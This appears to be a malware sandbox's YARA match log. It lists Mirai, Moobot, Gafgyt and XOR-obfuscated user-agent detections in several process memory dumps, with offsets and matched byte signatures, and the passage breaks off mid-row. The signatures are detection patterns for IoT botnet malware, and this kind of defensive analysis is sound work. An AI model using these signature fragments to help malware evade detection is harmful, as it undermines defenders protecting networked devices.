6584.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6584.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6291.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6291.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6291.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6291.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6291.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6291.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7046.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7423.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6750.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6750.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6750.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6750.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6750.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6750.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7416.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6466.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7035.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7180.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7180.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7180.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7180.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7180.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7180.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7052.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7052.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7052.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7052.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7052.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7052.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7323.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7323.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7323.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7323.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7323.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 